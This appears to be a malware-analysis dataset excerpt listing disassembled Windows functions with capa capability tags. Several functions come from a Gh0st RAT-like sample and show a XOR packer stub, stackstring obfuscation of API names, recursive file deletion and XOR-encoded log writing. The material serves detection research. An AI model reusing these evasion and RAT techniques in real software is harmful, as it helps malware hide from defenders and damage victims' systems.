joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e57
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp byte [edi], 0x25
jne 0x403ed4
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push eax
call fcn.00403093
lea eax, [ebp + eax - 0x105]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_CharPrevA]
cmp byte [eax], 0x25
jne 0x403ebc
and byte [eax], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x104]
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x10]
push eax
push 0x4016ec
call esi
pop edi
pop esi
leave
ret 0x18

Function at 0x4041d7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0xc]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40422c
push esi
push esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
lea eax, [ebp + 8]
push esi
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x404223
cmp dword [ebp + 8], esi
jne 0x404223
cmp dword [ebp - 4], esi
jne 0x404223
push 1
pop esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 8

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x1ed256b1
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xe114cd3
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x433723
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x433762
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x433762
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x433762
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x433762
cmp dword [ecx + 0x74], 0xe
jbe 0x433762
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x12a0485e
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5ece1369
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001720
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019200
push 0x1000a07e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10001897
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100017d7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100017d7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100017b2
cmp al, 0x5c
je 0x100017b2
push esi
call dword [0x1001e3b0]
mov esi, eax
jmp 0x1000179a
cmp byte [esi], 0
je 0x100017bb
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100017d0
cmp al, 0x5c
je 0x100017d0
push esi
call dword [0x1001e3b0]
mov esi, eax
jmp 0x100017b8
cmp byte [esi], 0
je 0x100017f6
jmp 0x100017f2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100017f6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100017f6
cmp al, 0x5c
jne 0x100017f6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x1000185b
cmp al, 0x5c
jne 0x1000184d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10001840
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000184a
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000184a
push 0
call ebx
push edi
jmp 0x1000188e
and eax, 0x10
cmp al, 0x10
je 0x1000184a
push edi
jmp 0x1000188e
mov byte [esi], 0x5c
push esi
call dword [0x1001e3b0]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100017fc
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10001d20
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x480
mov dword [esp + 0x2c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x494]
mov edi, dword [0x1001e420]
mov dword [esp + 0x40], eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
lea edx, [esp + 0x10]
push esi
lea eax, [esp + 0x188]
push edx
push eax
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x44]
lea edx, [esp + 0x184]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10001e45
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esp + 0x70], 0x2e
je 0x10001e9b
test byte [esp + 0x44], 0x10
lea eax, [esp + 0x70]
push eax
push esi
push str._s_s
je 0x10001e84
lea ecx, [esp + 0x398]
push ecx
call edi
mov ecx, dword [esp + 0x4c]
add esp, 0x10
lea edx, [esp + 0x38c]
push edx
call fcn.10001d20
jmp 0x10001e9b
lea ecx, [esp + 0x294]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x288]
push edx
call ebx
lea eax, [esp + 0x44]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10001e4b
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [esp + 0x44]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x480
ret 4
Function at 0x10003000
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1000a5a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001000
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x100191e0
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [0x1001e42c]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x1000cb70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x1000cb92
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100134b0
add esp, 8
test al, al
jne 0x1000cba6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x1000ccf0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1000a7be
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10011000
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001923c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [0x1001e414]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x1000cdb7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10019234
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x1000ce13
push 0x64
push 0
push 8
mov ecx, eax
call fcn.100111c0
jmp 0x1000ce15
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x1000d410
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.10013140
push ebx
push 0
push 0
push esi
push 0x1000d480
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.10013140
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x1000f000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10011000
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001920c
je 0x1000f029
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000f03b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000f04b
push eax
push 0x1001e940
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x1000c6f0
push 0
mov dword [0x1001c200], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18

Function at 0x1000f0c0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x1001920c
test eax, eax
jbe 0x1000f104
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x1000f0e4
pop esi
pop ebp
mov ecx, ebx
call fcn.100110f0
pop edi
pop ebx
ret

Function at 0x1000f5f0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret
Function at 0x1000f6e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x6c
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
push esi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.1000f5f0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [0x1001e344]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x1001ede8
push edi
call dword [0x1001e348]
push 0x30
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [0x1001e34c]
push 0x30
call esi
add esp, 4
push ebp
mov ebp, dword [0x1001e350]
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.100173b0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.100173b0
add esp, 0xc
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x1000f820
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000f8aa
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000f8b0
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x1000f888
mov ebx, dword [esp + 0x1c]
jmp 0x1000f8b4
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x10010170
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
push eax
call edi
mov ecx, dword [0x1001eb54]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov ebx, eax
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100102d3
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x1001030d
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x50], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x50]
inc eax
dec edx
mov dword [esp + 0x50], edx
jne 0x100102f9
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret